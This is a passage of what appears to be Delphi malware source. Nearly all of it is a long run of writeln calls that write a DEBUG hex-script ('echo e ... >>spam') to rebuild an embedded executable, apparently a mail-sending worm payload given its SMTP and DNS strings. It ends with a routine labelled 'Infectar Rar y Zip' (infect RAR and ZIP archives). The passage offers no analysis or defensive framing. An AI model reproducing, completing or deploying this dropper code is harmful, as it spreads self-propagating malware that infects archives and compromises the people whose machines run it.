writeln(f,\'echo e 20D0 7E 2E CC 08 04 FF 48 56 96 E2 85 4F 36 7C 22 47>>spam\');
writeln(f,\'echo e 20E0 8D 00 6D 4A D5 D8 CA 08 0A 8D 91 E6 3B 76 6F CF>>spam\');
writeln(f,\'echo e 20F0 C2 9C FF 0F 4F 75 E6 64 89 18 A0 8B E5 41 B1 FF>>spam\');
writeln(f,\'echo e 2100 00 E5 C0 54 83 04 24 04 1F C7 85 19 9C EB 33 3F>>spam\');
writeln(f,\'echo e 2110 F0 49 F8 10 78 D0 3A 6B 89 C8 16 54 32 5B 83 20>>spam\');
writeln(f,\'echo e 2120 D0 39 AE 22 07 3B EA C3 7D 9A 91 7A DF 8B 18 20>>spam\');
writeln(f,\'echo e 2130 27 1A CB D6 10 59 14 3E 4B 0E 9E AA 11 E1 05 8E>>spam\');
writeln(f,\'echo e 2140 FF 43 F8 F7 82 0A 5E 70 D4 CC 73 F8 E4 6A 1C 36>>spam\');
writeln(f,\'echo e 2150 D0 9F E1 33 3F 6C 81 7C 24 10 88 75 06 5B 02 83>>spam\');
writeln(f,\'echo e 2160 03 48 B6 85 1C 4F 46 A0 4F AA EB 4D C4 8A 10 D8>>spam\');
writeln(f,\'echo e 2170 5C 4D E8 1F AD 0B 57 81 C4 B0 FD 82 68 24 FA AF>>spam\');
writeln(f,\'echo e 2180 C7 CA 45 F8 68 5C 3E EE 14 41 B8 4B 18 BB DC 68>>spam\');
writeln(f,\'echo e 2190 6C 0F 16 85 C2 F6 E0 1C 1D F4 22 0F 66 57 74 47>>spam\');
writeln(f,\'echo e 21A0 A0 CF 85 B1 3A 50 81 F8 02 D6 71 FF 55 F4 26 15>>spam\');
writeln(f,\'echo e 21B0 11 2F 3C E3 6F DB ED 63 2E 4E 0D 80 38 6D 38 07>>spam\');
writeln(f,\'echo e 21C0 78 01 5C DD F4 2D B8 53 A1 0C B5 02 C7 C0 76 45>>spam\');
writeln(f,\'echo e 21D0 07 5B FB 3B DA EA F3 43 01 E4 78 E0 C0 12 D7 1C>>spam\');
writeln(f,\'echo e 21E0 06 CB 2C D6 F8 1B A2 8B F3 2B 75 FC 8D 98 5C 67>>spam\');
writeln(f,\'echo e 21F0 85 64 CF 17 63 44 35 38 9B B8 D6 37 82 C7 45 D0>>spam\');
writeln(f,\'echo e 2200 03 D6 42 01 A3 AC C4 B2 00 FF 92 40 33 32 CB CC>>spam\');
writeln(f,\'echo e 2210 6D F6 03 C6 34 40 B6 FE 47 DF 02 4B 8D 00 D4 A2>>spam\');
writeln(f,\'echo e 2220 FB C8 67 E8 00 51 E2 77 B6 DC 1F E2 2B 4C 8D 61>>spam\');
writeln(f,\'echo e 2230 05 FB FE BB BA 40 3D 4D 7F 48 C6 84 35 32 5C 20>>spam\');
writeln(f,\'echo e 2240 F4 C0 66 87 55 40 EF 36 40 03 09 66 C9 6D BE DF>>spam\');
writeln(f,\'echo e 2250 C6 CD 5F 19 FF 3F 63 1B 08 F8 33 C3 6B 65 72 6E>>spam\');
writeln(f,\'echo e 2260 65 6C 33 32 2E 64 6C 46 6F F5 8F 6C 27 47 65 74>>spam\');
writeln(f,\'echo e 2270 4C DB 67 50 61 7F E1 1C E1 FD 4E 61 6D 65 41 13>>spam\');
writeln(f,\'echo e 2280 A7 E0 FE A6 93 E8 0D 82 7C E3 6A 4E 83 B6 1D F4>>spam\');
writeln(f,\'echo e 2290 C6 45 EE 00 2C 68 3F 6F 00 63 03 3B C9 72 3C 40>>spam\');
writeln(f,\'echo e 22A0 01 74 1E 1D 36 1B 94 90 58 81 72 4C 3F 50 89 76>>spam\');
writeln(f,\'echo e 22B0 49 18 2E F7 67 DC C3 EC 6C 81 EE 6E 63 D4 C4 A0>>spam\');
writeln(f,\'echo e 22C0 65 CD D7 4A 57 64 1A 24 9A 17 D2 DC A6 78 40 F8>>spam\');
writeln(f,\'echo e 22D0 53 3F F8 09 6F 42 42 C6 54 10 15 FB 96 ED 6A 05>>spam\');
writeln(f,\'echo e 22E0 45 F3 03 0C 2C 12 F8 6C F0 BD 88 F6 80 BD 20 00>>spam\');
writeln(f,\'echo e 22F0 BE AF 7D F3 65 A7 63 DB D4 0A 05 EE 2C 9F 3D D8>>spam\');
writeln(f,\'echo e 2300 A2 B3 C2 4C BC 0D 03 E5 4B B0 9F 15 58 74 2E 65>>spam\');
writeln(f,\'echo e 2310 0F 3B D8 75 F0 09 EC D9 F7 FB 74 6D 43 3C 74 1C>>spam\');
writeln(f,\'echo e 2320 AE 53 74 02 6A 46 C6 DB A0 0F 34 8B F0 B8 46 68>>spam\');
writeln(f,\'echo e 2330 F6 BB 30 90 BD 8E 25 20 72 F5 00 23 FA 9F F0 20>>spam\');
writeln(f,\'echo e 2340 8B C6 DF 53 6F 66 74 77 61 72 65 0E BF 30 24 6F>>spam\');
writeln(f,\'echo e 2350 DD 63 61 6C 65 73 D7 C0 26 51 CA 1B 8B 22 DA 30>>spam\');
writeln(f,\'echo e 2360 84 60 00 1F F9 A1 14 1F 36 57 2C 4B A7 A1 39 B4>>spam\');
writeln(f,\'echo e 2370 B7 40 1B 86 A5 21 26 F8 53 21 04 2F 38 87 05 E8>>spam\');
writeln(f,\'echo e 2380 0A DE 24 E0 61 0D 7E 8B 38 75 C7 F4 7B 40 2F C5>>spam\');
writeln(f,\'echo e 2390 DB 15 10 70 49 06 1B C2 9D C1 47 51 66 50 4C 41>>spam\');
writeln(f,\'echo e 23A0 A1 50 B8 20 55 28 D2 BD 9D 5B B2 30 78 1D 17 3B>>spam\');
writeln(f,\'echo e 23B0 05 38 F7 58 04 5A A9 68 44 EB 1F A1 06 0B 2C 61>>spam\');
writeln(f,\'echo e 23C0 82 F2 99 3B 9E 75 11 25 17 81 09 A3 8D C7 A9 D9>>spam\');
writeln(f,\'echo e 23D0 20 34 53 EA FF C2 7F 5F 22 D0 C2 09 8B 02 3C 08>>spam\');
writeln(f,\'echo e 23E0 D7 03 C7 7E 25 50 19 08 51 13 04 59 22 12 2D B7>>spam\');
writeln(f,\'echo e 23F0 50 06 F2 01 1E EF 4B 76 0B 4E D0 A0 97 D5 50 10>>spam\');
writeln(f,\'echo e 2400 02 9E 0A CB FF 0C 52 8D 50 10 52 FF 70 08 14 07>>spam\');
writeln(f,\'echo e 2410 BC 94 FF 54 9B 03 65 A9 C3 A4 83 F8 6D 74 F3 B0>>spam\');
writeln(f,\'echo e 2420 54 AD B9 C3 0D 3E 2A 9C 1A 9A 81 9A 28 E9 A5 51>>spam\');
writeln(f,\'echo e 2430 D4 5C 9C 35 98 C9 32 BC 37 59 33 EB 9F AB 2B 1A>>spam\');
writeln(f,\'echo e 2440 DB F1 B0 7E 0F 5C 4D B4 E0 EC 48 75 01 18 C3 87>>spam\');
writeln(f,\'echo e 2450 31 46 25 DC A6 B6 0C 02 10 A6 2D B1 21 3A 54 8F>>spam\');
writeln(f,\'echo e 2460 BB ED 48 74 20 02 2E D6 33 6D B8 A6 DF 86 7F F5>>spam\');
writeln(f,\'echo e 2470 E6 B9 15 C7 46 1C 94 28 EB 27 17 40 84 7C 5F 27>>spam\');
writeln(f,\'echo e 2480 02 D3 0F 28 C0 6E 8E DC CC C3 06 24 F0 20 C0 80>>spam\');
writeln(f,\'echo e 2490 7E 48 FC C8 64 3A E9 AE 59 B6 51 6A 2D DF 05 5C>>spam\');
writeln(f,\'echo e 24A0 23 02 48 50 D9 64 FF 6E 8B 1D B4 1D EB 1E 06 81>>spam\');
writeln(f,\'echo e 24B0 4E B3 8A 77 DB 41 5B 69 A3 E0 4E 04 27 FF 36 23>>spam\');
writeln(f,\'echo e 24C0 1C 74 9B ED 7C 40 21 C9 2D 81 04 73 09 1D 6B CE>>spam\');
writeln(f,\'echo e 24D0 9E A4 50 1B AC AD 5B 8B D4 59 17 70 CC 57 60 8D>>spam\');
writeln(f,\'echo e 24E0 96 01 52 20 06 D1 CC F6 94 5A 48 50 8B 36 A2 47>>spam\');
writeln(f,\'echo e 24F0 69 E1 FB 4C 80 BC 06 1C 1A 5A 40 BC ED 38 2B 90>>spam\');
writeln(f,\'echo e 2500 EC 2B C2 49 35 09 A4 74 CF 2D 55 29 E4 22 C5 BE>>spam\');
writeln(f,\'echo e 2510 94 B2 36 DF 76 3B 1F 8D F6 EB 2E F5 B3 84 74 3B>>spam\');
writeln(f,\'echo e 2520 00 67 23 C4 AF 3A 17 36 6C 10 99 EE CD B9 1A 02>>spam\');
writeln(f,\'echo e 2530 75 07 F9 C3 70 84 76 B6 0B C3 1A 5C 11 87 B8 69>>spam\');
writeln(f,\'echo e 2540 BC 4F 08 F6 36 E9 0D A5 DB 8D 88 91 B6 20 34 2C>>spam\');
writeln(f,\'echo e 2550 CE 14 D3 08 B0 06 08 CD B7 CD F0 C9 E3 02 10 0C>>spam\');
writeln(f,\'echo e 2560 18 08 42 40 1C DC B1 B1 6C 02 20 24 59 48 55 1B>>spam\');
writeln(f,\'echo e 2570 B5 82 BB D0 82 16 CD 9C 1B 74 11 09 C0 10 FD 27>>spam\');
writeln(f,\'echo e 2580 07 FE CD 75 E8 48 88 28 67 C7 46 A1 D7 3A B9 70>>spam\');
writeln(f,\'echo e 2590 6F 1C B2 00 DC 63 6D 0E C3 0F AE F7 B8 67 5A 1A>>spam\');
writeln(f,\'echo e 25A0 21 13 76 F6 24 20 B6 05 A0 21 E3 D8 02 53 2C EA>>spam\');
writeln(f,\'echo e 25B0 86 0D 6F F4 1C A1 02 77 48 C5 8B C4 86 1F E1 2F>>spam\');
writeln(f,\'echo e 25C0 10 CA F7 E1 50 56 FF 33 6C 48 58 59 75 53 B9 E8>>spam\');
writeln(f,\'echo e 25D0 8D 1F D2 F7 73 08 96 49 F6 75 C7 68 89 02 F4 3B>>spam\');
writeln(f,\'echo e 25E0 C1 52 64 FD 05 F6 C7 16 80 37 E8 59 AD E2 67 EB>>spam\');
writeln(f,\'echo e 25F0 F0 4A B1 B7 15 83 D8 8D 60 4B 5D 28 34 FB 62 19>>spam\');
writeln(f,\'echo e 2600 B7 50 44 53 24 1B B1 F9 D8 08 02 5B D7 15 3D 38>>spam\');
writeln(f,\'echo e 2610 FE 74 26 EC 8B B3 F0 3A EB 63 D8 9C 1F 2C F6 70>>spam\');
writeln(f,\'echo e 2620 D6 97 8F 7C A9 07 8F 3C FB 62 B1 7F 16 0C 83 C8>>spam\');
writeln(f,\'echo e 2630 FF EB F4 38 4B 0E E5 7B E9 16 02 53 10 49 56 7E>>spam\');
writeln(f,\'echo e 2640 B0 DD DA 95 E5 0A 03 20 34 98 FE 89 5E 57 B1 86>>spam\');
writeln(f,\'echo e 2650 0B 45 56 18 DB 05 31 B4 7F FF 3E 6C B8 66 3E EB>>spam\');
writeln(f,\'echo e 2660 F1 BA 73 EB BE BA B2 06 B7 BA B3 F6 46 70 3D B0>>spam\');
writeln(f,\'echo e 2670 E5 30 F9 95 52 EC 19 6A 73 15 0F 87 73 CC 4C 44>>spam\');
writeln(f,\'echo e 2680 BC 42 34 82 31 79 53 A3 AD 07 09 24 AE 33 43 1C>>spam\');
writeln(f,\'echo e 2690 13 46 EE 91 1A A5 7B 8D 5D 8A 15 32 EC 23 B9 17>>spam\');
writeln(f,\'echo e 26A0 E2 83 E2 70 B4 8B 92 49 1C 7B 83 D4 18 69 AB EF>>spam\');
writeln(f,\'echo e 26B0 7E 23 74 47 09 45 1A C3 8D 97 47 4C A9 0C BE 97>>spam\');
writeln(f,\'echo e 26C0 4C 48 CF 0D 9A 73 43 74 9F 7B 3D A2 29 0F 52 7A>>spam\');
writeln(f,\'echo e 26D0 73 83 78 27 8C 06 75 E4 EB D9 E7 7A 67 4B DE AD>>spam\');
writeln(f,\'echo e 26E0 0C C7 43 F5 C6 77 42 96 A5 83 3C 01 02 03 82 FF>>spam\');
writeln(f,\'echo e 26F0 EF C6 C9 8A 0D B6 80 E1 03 80 F9 02 76 02 B1 90>>spam\');
writeln(f,\'echo e 2700 15 8B 6D AB 35 64 AF 09 99 3B 02 73 AB 2A 71 DF>>spam\');
writeln(f,\'echo e 2710 42 81 78 D5 40 FC 63 C5 75 2E 8B 78 14 03 78 3A>>spam\');
writeln(f,\'echo e 2720 2B C6 5B 6F BF F1 3B D1 7F 16 01 06 2B CA 50 FF>>spam\');
writeln(f,\'echo e 2730 CA F3 A4 18 7D 01 A5 7F 33 59 58 EB DA 01 21 43>>spam\');
writeln(f,\'echo e 2740 3D E0 B1 60 03 F3 75 14 9A 35 56 58 67 91 0E 56>>spam\');
writeln(f,\'echo e 2750 E0 48 74 B7 74 B8 D6 BF 7B EB 62 06 37 CD 46 BA>>spam\');
writeln(f,\'echo e 2760 5C 70 F4 F9 40 7E 21 83 E9 04 86 78 B7 40 57 B9>>spam\');
writeln(f,\'echo e 2770 40 25 36 97 A2 3B 20 42 75 0D 2C D5 E1 8F 60 AF>>spam\');
writeln(f,\'echo e 2780 28 B4 57 CB 0C 30 43 03 7F 09 78 27 49 8A 1A 2B>>spam\');
writeln(f,\'echo e 2790 CB 7E 0B F2 B3 37 3A 44 D1 79 CA 8B CB 5B 1C D8>>spam\');
writeln(f,\'echo e 27A0 6E 36 E1 BA 9C 70 A9 53 13 34 0D DA 5F FA 4B 75>>spam\');
writeln(f,\'echo e 27B0 1E 65 3B 48 08 7D 09 03 F3 88 11 FF 40 6C 79 D6>>spam\');
writeln(f,\'echo e 27C0 AA 0C F3 D2 27 5A E2 CA 8C 1C 96 EC 12 C9 C8 C9>>spam\');
writeln(f,\'echo e 27D0 E9 37 68 55 EC C6 3B 34 51 FF 6E 02 B5 62 79 FC>>spam\');
writeln(f,\'echo e 27E0 18 6B 17 1A 0A B8 5A A3 50 4B F0 2C FA 83 8D B7>>spam\');
writeln(f,\'echo e 27F0 5F AA C9 7C F2 AE F7 D1 49 0B 5A 2B D1 CE 61 89>>spam\');
writeln(f,\'echo e 2800 98 11 23 E0 D7 36 3E 11 89 58 AA 2F 84 76 48 D3>>spam\');
writeln(f,\'echo e 2810 AE E0 43 FF 05 14 E0 37 B8 68 E7 26 51 A4 07 53>>spam\');
writeln(f,\'echo e 2820 09 0E 64 17 E2 7C 09 48 B8 FC 83 44 B8 EC 09 97>>spam\');
writeln(f,\'echo e 2830 0C 62 C8 DC 12 51 17 8B 06 09 29 F8 F7 67 E4 FE>>spam\');
writeln(f,\'echo e 2840 3C E4 68 49 83 2D 01 0F 83 BC BC C0 A4 2B 4B 89>>spam\');
writeln(f,\'echo e 2850 20 06 28 4E B6 8F 5D BD C6 05 47 02 06 33 34 34>>spam\');
writeln(f,\'echo e 2860 5D 7B 6F 03 66 C7 05 6B 00 08 EC 01 3E 40 DB EF>>spam\');
writeln(f,\'echo e 2870 91 0A 00 07 04 8D 02 80 69 B6 B6 D9 11 D0 90 39>>spam\');
writeln(f,\'echo e 2880 03 09 D4 88 B9 15 04 1B D8 13 66 18 00 7B EC 51>>spam\');
writeln(f,\'echo e 2890 9F 08 30 A6 EC BA 74 49 F1 10 2C 8B 1C 33 92 0E>>spam\');
writeln(f,\'echo e 28A0 E2 D9 4F F8 DC A3 1C 0F 01 94 A3 18 09 31 88 06>>spam\');
writeln(f,\'echo e 28B0 F2 B0 D7 2F AD F1 6F 49 DB B9 44 90 0E EB 84 91>>spam\');
writeln(f,\'echo e 28C0 07 80 0C 32 C8 20 7C 78 74 CB 45 8C 10 9B B8 8E>>spam\');
writeln(f,\'echo e 28D0 1D 1D DE 40 BC 43 83 3D BC 46 7D 0A B8 E2 D6 82>>spam\');
writeln(f,\'echo e 28E0 8F 5F 47 DF 68 1B 6A 40 9D 84 BC 4B CB 3E 8D 0C>>spam\');
writeln(f,\'echo e 28F0 1B A4 53 A1 30 0A E0 FE 14 E0 94 89 1D CC 0B 53>>spam\');
writeln(f,\'echo e 2900 06 AF A1 96 84 B8 82 05 1A 1B 36 07 2C F4 75 28>>spam\');
writeln(f,\'echo e 2910 64 28 2C 04 D9 C3 0B 37 36 FB 28 9C 19 34 8C 75>>spam\');
writeln(f,\'echo e 2920 1E 23 26 FB 5A 10 39 C3 11 D9 BB 32 82 48 41 01>>spam\');
writeln(f,\'echo e 2930 F9 FB 55 1C 76 A1 C4 33 74 2C 2E 7C 8D D7 DD 95>>spam\');
writeln(f,\'echo e 2940 5B 71 B0 70 93 0A A1 A4 08 A3 0D 1E C1 43 EE B8>>spam\');
writeln(f,\'echo e 2950 A0 04 6E D4 F9 DE DF 27 F5 8F E6 39 7C BA 1A 52>>spam\');
writeln(f,\'echo e 2960 89 05 49 CE F6 5D A0 24 C7 42 DA 00 06 0C C6 86>>spam\');
writeln(f,\'echo e 2970 2A 3B DB 3A 30 80 E4 C3 9B 03 C2 4B 4E D9 4A C8>>spam\');
writeln(f,\'echo e 2980 84 70 E0 9E 8D 36 90 4A 2F 52 C8 C3 04 91 41 16>>spam\');
writeln(f,\'echo e 2990 5B 90 8C E4 92 83 9D 1A C3 4F 29 4B D0 37 72 24>>spam\');
writeln(f,\'echo e 29A0 0F 30 4B D0 40 17 B5 54 C5 7A 11 02 2E 32 16 1B>>spam\');
writeln(f,\'echo e 29B0 48 2D 6C E6 5C C7 13 00 0B 55 EE 33 87 13 AE D3>>spam\');
writeln(f,\'echo e 29C0 0C 2F 37 09 0C 25 43 0E 50 3C 35 8A 2F 55 3F 65>>spam\');
writeln(f,\'echo e 29D0 08 54 A9 4C 69 73 74 0E 02 46 E0 3F 7A AA 21 D2>>spam\');
writeln(f,\'echo e 29E0 7F AB F8 54 89 77 08 46 56 8D 47 04 F8 D8 BE DC>>spam\');
writeln(f,\'echo e 29F0 02 5E 35 E9 2C 28 8B C7 84 DB 22 DA C8 08 9D 14>>spam\');
writeln(f,\'echo e 2A00 6A 81 A3 49 AB 89 CC 9E 13 43 3E FC 47 24 84 0E>>spam\');
writeln(f,\'echo e 2A10 69 4C CF A0 09 CC 41 40 29 56 43 3D 85 A9 9B EB>>spam\');
writeln(f,\'echo e 2A20 8D 04 90 0B 6C FF 56 E0 26 A1 2B 37 70 41 1B 11>>spam\');
writeln(f,\'echo e 2A30 83 F0 88 55 3F F0 F8 80 9E 30 5A 0B F9 6B C7 49>>spam\');
writeln(f,\'echo e 2A40 78 B1 9B 0D 8B 14 B2 39 8A DB 92 07 72 C9 B5 4C>>spam\');
writeln(f,\'echo e 2A50 D4 BC 4C B0 41 06 39 D4 D8 D4 07 41 06 19 64 D0>>spam\');
writeln(f,\'echo e 2A60 CC C8 06 19 64 90 C4 C0 BC B8 19 64 90 41 B4 B0>>spam\');
writeln(f,\'echo e 2A70 AC 64 90 41 06 A8 A4 A0 1E 76 06 19 9C 98 BF 75>>spam\');
writeln(f,\'echo e 2A80 4D 91 3C 90 4B D8 7C 4D 25 2F E3 C8 D8 D4 4D 37>>spam\');
writeln(f,\'echo e 2A90 D4 4D 63 22 64 79 EE 4D 10 02 95 FF CD 61 04 9D>>spam\');
writeln(f,\'echo e 2AA0 08 0B 54 4D 58 52 65 73 6F 6C DF D8 75 EE 76 65>>spam\');
writeln(f,\'echo e 2AB0 72 B3 00 0D 15 36 33 C3 35 31 2E 32 36 00 9F F9>>spam\');
writeln(f,\'echo e 2AC0 31 36 2E 31 31 17 0F F2 35 32 67 EC 72 D7 10 1C>>spam\');
writeln(f,\'echo e 2AD0 31 35 39 33 32 17 0D 0D B6 B9 CB 34 39 37 34 30>>spam\');
writeln(f,\'echo e 2AE0 34 38 2F 0C 30 D7 B5 ED 47 12 31 31 49 31 2C 17>>spam\');
writeln(f,\'echo e 2AF0 C0 E7 C6 5E 8B 58 30 33 07 37 CA 46 A1 25 F7 85>>spam\');
writeln(f,\'echo e 2B00 75 F8 16 EE 21 1F 30 5D 4F 68 6C 0A A1 AB F8 3E>>spam\');
writeln(f,\'echo e 2B10 B9 04 F6 F0 50 05 E8 F5 4B 11 C3 F1 17 84 84 4D>>spam\');
writeln(f,\'echo e 2B20 38 3D 8A C7 2B 40 A9 DB B2 37 F1 07 71 5B 86 57>>spam\');
writeln(f,\'echo e 2B30 FF D6 33 1A 8D B7 2D C8 75 8E 0C AB 25 10 31 CF>>spam\');
writeln(f,\'echo e 2B40 58 D5 78 D6 B9 10 45 23 08 72 D8 BE 48 14 E8 7B>>spam\');
writeln(f,\'echo e 2B50 04 42 D0 58 E0 FB F1 5C 37 84 85 B8 80 5F 8B 68>>spam\');
writeln(f,\'echo e 2B60 98 7E B0 5B E0 BE FF 73 04 68 AC 07 5F BA 03 3F>>spam\');
writeln(f,\'echo e 2B70 F3 03 78 47 E7 F8 A1 0C 71 4B 25 C4 C8 73 32 BE>>spam\');
writeln(f,\'echo e 2B80 4F DC F3 64 4F F8 75 C1 0C 48 94 FF 4E B7 4F F0>>spam\');
writeln(f,\'echo e 2B90 BF 02 77 6F 72 6B 50 61 72 61 6D 04 69 70 EF 70>>spam\');
writeln(f,\'echo e 2BA0 61 9B 87 20 C4 70 69 23 33 08 44 4E 10 36 87 FD>>spam\');
writeln(f,\'echo e 2BB0 53 20 49 50 3A 20 13 02 0D 0A 3B 2A D0 F6 67 EC>>spam\');
writeln(f,\'echo e 2BC0 DB 89 5D F0 02 EC 17 3D E4 80 74 BA B8 78 50 33>>spam\');
writeln(f,\'echo e 2BD0 FF 2E 1C 6C 03 05 F4 8B 8F 83 7D 31 74 63 D3 0B>>spam\');
writeln(f,\'echo e 2BE0 0B CF 2A 23 44 52 46 20 7E 54 BB D4 EE 0D C5 BB>>spam\');
writeln(f,\'echo e 2BF0 13 8A 44 18 FF 42 2C 2E 75 3B 30 F8 B0 54 6B 3F>>spam\');
writeln(f,\'echo e 2C00 C5 00 D7 0D BC FF C1 FE 15 2D 69 92 F4 42 8B CF>>spam\');
writeln(f,\'echo e 2C10 69 5B 1B 08 B7 D8 14 EC 8B 18 6B 8C F4 EF 73 12>>spam\');
writeln(f,\'echo e 2C20 FE EB 01 47 43 4E 75 B1 0D 7F 50 EC BA BD 88 21>>spam\');
writeln(f,\'echo e 2C30 EB 50 82 0E E3 99 0D 5E CD 29 4F 54 F4 DB EF 22>>spam\');
writeln(f,\'echo e 2C40 76 C8 C1 BE E5 99 F7 FE 89 04 24 0C B9 67 80 DE>>spam\');
writeln(f,\'echo e 2C50 27 F9 69 C2 08 6A D3 E8 FE BB 28 52 F8 40 7D 08>>spam\');
writeln(f,\'echo e 2C60 89 5C 84 0C FF 0C 54 ED 19 6C 87 C8 08 14 4E 3D>>spam\');
writeln(f,\'echo e 2C70 0C 4C CF 07 B9 1E 00 51 3F D8 F4 BD B6 0B 1C 6C>>spam\');
writeln(f,\'echo e 2C80 02 FF C7 91 F4 00 37 E8 02 F5 45 0C 08 6A 11 0F>>spam\');
writeln(f,\'echo e 2C90 38 C5 B7 F4 02 36 24 29 59 35 68 30 76 B6 D8 BA>>spam\');
writeln(f,\'echo e 2CA0 35 3A CE 05 DB CD AD 0D C3 6A 35 3C D4 66 33 DA>>spam\');
writeln(f,\'echo e 2CB0 B7 6D DF 87 39 24 94 50 14 DC 13 DC 23 F0 30 2A>>spam\');
writeln(f,\'echo e 2CC0 1B 51 A0 E2 36 D8 FB F7 11 05 55 51 53 5B 1C 40>>spam\');
writeln(f,\'echo e 2CD0 75 08 08 EE 5F 58 E2 3C 99 6D 88 EC 00 7E 5F B9>>spam\');
writeln(f,\'echo e 2CE0 B8 0B 2D C3 12 F0 84 D3 50 40 84 1D 4C 66 63 CB>>spam\');
writeln(f,\'echo e 2CF0 EF 85 34 66 04 40 32 3C EC 06 2A 34 7B E1 BF 41>>spam\');
writeln(f,\'echo e 2D00 11 03 C6 3B 45 08 7E 05 03 76 EB 25 8D 62 40 4D>>spam\');
writeln(f,\'echo e 2D10 9A 01 EC E8 03 B3 7F BF C0 03 F7 01 75 E8 33 7F>>spam\');
writeln(f,\'echo e 2D20 A1 8B FE 6E E4 8C A0 71 A0 C2 56 C7 D0 03 C0 41>>spam\');
writeln(f,\'echo e 2D30 33 55 D8 EE 8D 0E 85 ED 0C 7C 75 4F BA 0C EB E3>>spam\');
writeln(f,\'echo e 2D40 20 1B 62 22 70 52 8D 55 05 F1 FF A0 77 C3 B9 1C>>spam\');
writeln(f,\'echo e 2D50 6D 66 81 7D F0 11 DF 74 0A EA 46 71 08 89 39 A9>>spam\');
writeln(f,\'echo e 2D60 F2 C1 11 B6 4D B7 C7 E0 0F 78 12 66 8C F6 10 38>>spam\');
writeln(f,\'echo e 2D70 FC 6B 14 1E 5E EB 05 F7 D8 73 16 84 03 84 B8 FC>>spam\');
writeln(f,\'echo e 2D80 FD 93 27 6C 2C 63 D3 B0 D9 AA 8B 31 C9 0F 0A 32>>spam\');
writeln(f,\'echo e 2D90 89 3F 53 C6 30 DC FE 8F 3D 8B 7D F8 43 03 FB EB>>spam\');
writeln(f,\'echo e 2DA0 5C 80 FB 72 25 47 C5 30 6D AA 60 0D 6A 86 0F 49>>spam\');
writeln(f,\'echo e 2DB0 9F F0 C7 1C 4F 50 42 80 AF 2F 23 4C EB 38 8A 1F>>spam\');
writeln(f,\'echo e 2DC0 6C 91 1D 6F FE 76 1A 47 D3 8A 17 1C F0 2B C0 6F>>spam\');
writeln(f,\'echo e 2DD0 83 4B 19 77 E6 47 80 3F 25 11 3E 7E 31 77 BA 58>>spam\');
writeln(f,\'echo e 2DE0 6B 16 31 75 9E 21 38 63 C9 73 32 CE 46 53 F0 C6>>spam\');
writeln(f,\'echo e 2DF0 33 52 12 06 EB 61 AB 01 16 0D 8B 5C 2E 03 BB B8>>spam\');
writeln(f,\'echo e 2E00 D4 24 3F 3A 7D 10 E9 26 54 3F 05 6A 15 DF D2 8B>>spam\');
writeln(f,\'echo e 2E10 DE 83 C3 0C BF 4E 6C EE 1B C4 75 FA FB EB 03 8B>>spam\');
writeln(f,\'echo e 2E20 1F 0C D7 36 59 48 D2 2C 79 EE 0E 59 F0 46 1A DE>>spam\');
writeln(f,\'echo e 2E30 38 66 FA 0F 75 5F 69 FA D4 D9 DE B6 66 CD A6 02>>spam\');
writeln(f,\'echo e 2E40 3D 0E EB 34 35 E2 66 40 06 A4 0C E2 29 FE 8B 3E>>spam\');
writeln(f,\'echo e 2E50 92 EC 0C 4B 57 03 CB 2B CE 8B D6 92 93 C1 10 3C>>spam\');
writeln(f,\'echo e 2E60 B0 2D 54 80 66 30 D8 E6 0C E7 DA 27 0B 4C 80 CA>>spam\');
writeln(f,\'echo e 2E70 D4 95 D4 EF 0E 90 5F D7 D9 05 D8 91 F0 ED 55 56>>spam\');
writeln(f,\'echo e 2E80 2F D9 38 D4 8F 68 DF 68 DF 96 4D 27 BD 11 09 51>>spam\');
writeln(f,\'echo e 2E90 DF 62 E1 01 01 84 85 E0 43 E3 8D 4D 34 08 A4 D6>>spam\');
writeln(f,\'echo e 2EA0 65 87 7D 3F AC 6A 0F 17 EC 22 EE CA EB 5B E4 4E>>spam\');
writeln(f,\'echo e 2EB0 D8 43 C6 FE 8D 85 DE F7 43 25 B8 77 AC D3 5F 8D>>spam\');
writeln(f,\'echo e 2EC0 95 0C 72 0E 8B BD 6D B2 30 C8 1C EA 29 0F 17 43>>spam\');
writeln(f,\'echo e 2ED0 1E FB 2F 83 C0 0C 8D 94 05 DF 36 EC B9 04 99 61>>spam\');
writeln(f,\'echo e 2EE0 C9 6D 56 DD D4 99 01 E0 55 DF A5 63 85 2C 98 40>>spam\');
writeln(f,\'echo e 2EF0 DC 72 81 FF 16 0F F3 7B EB D4 8F E1 A7 3C 8E D9>>spam\');
writeln(f,\'echo e 2F00 00 24 DD EF 56 B1 E2 48 CF 41 EC 9E D3 C4 05 B6>>spam\');
writeln(f,\'echo e 2F10 E6 8C 8D 8A 0C 48 68 0F 82 5B 8C C7 77 B9 40 88>>spam\');
writeln(f,\'echo e 2F20 45 EB B3 52 C0 66 D8 1E E1 09 3B 3C 43 58 8B 51>>spam\');
writeln(f,\'echo e 2F30 8B 46 0C E0 31 E8 F8 F6 00 94 19 80 BA 6C 56 76>>spam\');
writeln(f,\'echo e 2F40 E1 70 CA 85 8D 8D 82 8A 8A D3 2E 01 06 AF 0D 70>>spam\');
writeln(f,\'echo e 2F50 3C 11 B1 72 B6 81 FE 43 FE 4D EB 75 85 35 7D 1B>>spam\');
writeln(f,\'echo e 2F60 50 84 57 06 B3 57 EB 0F 3A E7 5C 4C 21 F0 9A 56>>spam\');
writeln(f,\'echo e 2F70 85 5C DC E0 C5 9F 2C 82 4F 53 4D 54 50 20 73 37>>spam\');
writeln(f,\'echo e 2F80 63 EF A2 79 7C 28 73 29 3A 17 22 45 72 72 FE 7F>>spam\');
writeln(f,\'echo e 2F90 83 12 13 EA 43 61 6E 20 6E 6F 74 20 66 69 6E 64>>spam\');
writeln(f,\'echo e 2FA0 20 5F F4 60 C0 2B 21 F7 27 68 81 D1 EB 3A 25 9D>>spam\');
writeln(f,\'echo e 2FB0 09 FF 48 14 28 C7 89 2C 1A 06 81 9B 2C 1E 93 57>>spam\');
writeln(f,\'echo e 2FC0 51 C0 0A 2C 83 F7 BE AF FC 68 D8 57 B4 3B B7 9E>>spam\');
writeln(f,\'echo e 2FD0 B0 40 2E 21 68 FE 15 E4 57 E8 49 7D 4A B2 01 A1>>spam\');
writeln(f,\'echo e 2FE0 50 03 3B B4 6E 0C A3 17 32 8D 46 08 FD 28 6C FE>>spam\');
writeln(f,\'echo e 2FF0 11 1E 70 45 02 91 3C C3 9B 84 EF D8 3E 70 06 44>>spam\');
writeln(f,\'echo e 3000 34 12 44 42 9A 8D DA 90 3C 24 3D D0 E5 33 9A 44>>spam\');
writeln(f,\'echo e 3010 03 A4 B1 7A 43 2D 7C 12 8B 44 6F 6D 61 2F 20 4F>>spam\');
closeFile(f);
sleep(2000);
muereDep;
end;
//****************************************************}
//*************** Infectar Rar y Zip *****************************
